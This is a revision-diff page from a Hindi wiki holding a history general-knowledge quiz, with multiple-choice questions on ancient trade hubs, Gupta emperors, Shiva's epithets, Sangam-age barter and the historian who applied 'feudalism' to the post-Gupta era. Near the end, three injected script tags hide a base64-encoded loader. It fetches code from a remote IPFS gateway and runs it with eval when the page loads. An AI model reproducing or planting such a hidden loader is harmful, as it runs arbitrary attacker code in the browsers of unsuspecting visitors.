Difference between revisions of "इतिहास सामान्य ज्ञान 476"

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{ईसा की प्रारंभिक शताब्दियों में भारतीय और पश्चिमी व्यापारियों का सबसे बड़ा व्यापारिक संगम-स्थल कौन-सा था? (यूजीसी इतिहास,पृ.सं.-218,प्रश्न-758
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{ईसा की प्रारंभिक शताब्दियों में भारतीय और पश्चिमी व्यापारियों का सबसे बड़ा व्यापारिक संगम-स्थल कौन-सा था?
 
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-देडेसिया
 
-देडेसिया
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-पालमायरा
 
-पालमायरा
  
{सर्वप्रथम किस [[गुप्त]] सम्राट के समय के अभिलेख उत्तरी बंगाल से मिले थे? (यूजीसी इतिहास,पृ.सं.-230,प्रश्न-943
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{सर्वप्रथम किस [[गुप्त]] सम्राट के समय के अभिलेख उत्तरी बंगाल से मिले थे?
 
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-[[चंद्रगुप्त प्रथम]]
 
-[[चंद्रगुप्त प्रथम]]
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||[[कुमारगुप्त प्रथम]] (414-455 ई.) [[गुप्तवंश|गुप्तवंशीय]] सम्राट था। [[पिता]] [[चंद्रगुप्त द्वितीय]] की मृत्यु के बाद वह राजगद्दी पर बैठा था। वह [[ध्रुवदेवी|पट्टमहादेवी ध्रुवदेवी]] का [[पुत्र]] था। उसके शासन काल में विशाल गुप्त साम्राज्य अक्षुण रूप से क़ायम रहा। [[बल्ख]] से [[बंगाल की खाड़ी]] तक उसका अबाधित शासन था। सब राजा, सामन्त, गणराज्य और प्रत्यंतवर्ती जनपद कुमारगुप्त के वशवर्ती थे। गुप्त वंश की शक्ति उसके शासन काल में अपनी चरम सीमा पर पहुँच गई थी। कुमारगुप्त को विद्रोही राजाओं को वश में लाने के लिए कोई युद्ध नहीं करने पड़े।{{point}}'''अधिक जानकारी के लिए देखें:-[[कुमारगुप्त प्रथम महेन्द्रादित्य]]
 
||[[कुमारगुप्त प्रथम]] (414-455 ई.) [[गुप्तवंश|गुप्तवंशीय]] सम्राट था। [[पिता]] [[चंद्रगुप्त द्वितीय]] की मृत्यु के बाद वह राजगद्दी पर बैठा था। वह [[ध्रुवदेवी|पट्टमहादेवी ध्रुवदेवी]] का [[पुत्र]] था। उसके शासन काल में विशाल गुप्त साम्राज्य अक्षुण रूप से क़ायम रहा। [[बल्ख]] से [[बंगाल की खाड़ी]] तक उसका अबाधित शासन था। सब राजा, सामन्त, गणराज्य और प्रत्यंतवर्ती जनपद कुमारगुप्त के वशवर्ती थे। गुप्त वंश की शक्ति उसके शासन काल में अपनी चरम सीमा पर पहुँच गई थी। कुमारगुप्त को विद्रोही राजाओं को वश में लाने के लिए कोई युद्ध नहीं करने पड़े।{{point}}'''अधिक जानकारी के लिए देखें:-[[कुमारगुप्त प्रथम महेन्द्रादित्य]]
  
{[[शतपथ ब्राह्मण]] में [[शिव]] को निम्नलिखित में से किस नाम से जाना जाता है? (यूजीसी इतिहास,पृ.सं.-225,प्रश्न-860
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{[[शतपथ ब्राह्मण]] में [[शिव]] को निम्नलिखित में से किस नाम से जाना जाता है?
 
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-गिरित्र
 
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-शतरुद्रिय
 
-शतरुद्रिय
  
{[[संगम युग]] में विनिमय की दर निश्चित नहीं थी, परंतु दो वस्तुओं का आपसी विनियम बराबर मात्रा में होता था, वे वस्तुएँ क्या थीं? (यूजीसी इतिहास,पृ.सं.-228,प्रश्न-914
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{[[संगम युग]] में विनिमय की दर निश्चित नहीं थी, परंतु दो वस्तुओं का आपसी विनियम बराबर मात्रा में होता था, वे वस्तुएँ क्या थीं?
 
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-[[मछली]] और [[नमक]]
 
-[[मछली]] और [[नमक]]
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||सुदूर [[दक्षिण भारत]] में [[कृष्णा नदी|कृष्णा]] एवं [[तुंगभद्रा नदी|तुंगभद्रा नदियों]] के बीच के क्षेत्र को 'तमिल प्रदेश' कहा जाता था। इस प्रदेश में अनेक छोटे-छोटे राज्यों का अस्तित्व था, जिनमें [[चेर वंश|चेर]], [[चोल]] और [[पांड्य]] प्रमुख थे। दक्षिण भारत के इस प्रदेश में तमिल कवियों द्वारा सभाओं तथा गोष्ठियों का आयोजन किया जाता था। इन गोष्ठियों में विद्वानों के मध्य विभिन्न विषयों पर विचार-विमर्श किया जाता था, इसे ही 'संगम' के नाम से जाना जाता है। 100 ई. से 250 ई. के मध्य दक्षिण भारत में तीन संगमों को आयोजित किया गया। इस युग को ही इतिहास में "[[संगम युग]]" के नाम से जाना जाता है।{{point}}'''अधिक जानकारी के लिए देखें:-[[संगम युग]]
 
||सुदूर [[दक्षिण भारत]] में [[कृष्णा नदी|कृष्णा]] एवं [[तुंगभद्रा नदी|तुंगभद्रा नदियों]] के बीच के क्षेत्र को 'तमिल प्रदेश' कहा जाता था। इस प्रदेश में अनेक छोटे-छोटे राज्यों का अस्तित्व था, जिनमें [[चेर वंश|चेर]], [[चोल]] और [[पांड्य]] प्रमुख थे। दक्षिण भारत के इस प्रदेश में तमिल कवियों द्वारा सभाओं तथा गोष्ठियों का आयोजन किया जाता था। इन गोष्ठियों में विद्वानों के मध्य विभिन्न विषयों पर विचार-विमर्श किया जाता था, इसे ही 'संगम' के नाम से जाना जाता है। 100 ई. से 250 ई. के मध्य दक्षिण भारत में तीन संगमों को आयोजित किया गया। इस युग को ही इतिहास में "[[संगम युग]]" के नाम से जाना जाता है।{{point}}'''अधिक जानकारी के लिए देखें:-[[संगम युग]]
  
{किस [[इतिहासकार]] ने [[गुप्तोत्तर काल|गुप्तोत्तरकालीन]] सामाजिक, आर्थिक संगठन एवं संरचना के लिए [[सामंतवाद]] शब्द का प्रयोग किया? (यूजीसी इतिहास,पृ.सं.-234,प्रश्न-1001
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{किस [[इतिहासकार]] ने [[गुप्तोत्तर काल|गुप्तोत्तरकालीन]] सामाजिक, आर्थिक संगठन एवं संरचना के लिए [[सामंतवाद]] शब्द का प्रयोग किया?
 
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-ए. एस. अल्तेकर
 
-ए. एस. अल्तेकर

Latest revision as of 12:35, 10 November 2017

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 eesa ki praranbhik shatabdiyoan mean bharatiy aur pashchimi vyapariyoan ka sabase b da vyaparik sangam-sthal kaun-sa tha?

dedesiya
elekjeandriya ya sikandariya
takshashila
palamayara

2 sarvapratham kis gupt samrat ke samay ke abhilekh uttari bangal se mile the?

chandragupt pratham
chandragupt dvitiy
kumaragupt pratham
samudragupt

3 shatapath brahman mean shiv ko nimnalikhit mean se kis nam se jana jata hai?

giritr
kapardin
sahastraksh
shatarudriy

4 sangam yug mean vinimay ki dar nishchit nahian thi, parantu do vastuoan ka apasi viniyam barabar matra mean hota tha, ve vastuean kya thian?

machhali aur namak
dhan aur machhali
dal aur namak
dhan aur namak

5 kis itihasakar ne guptottarakalin samajik, arthik sangathan evan sanrachana ke lie samantavad shabd ka prayog kiya?

e. es. altekar
ar. es. sharma
ke. pi. jayasaval
inamean se koee nahian

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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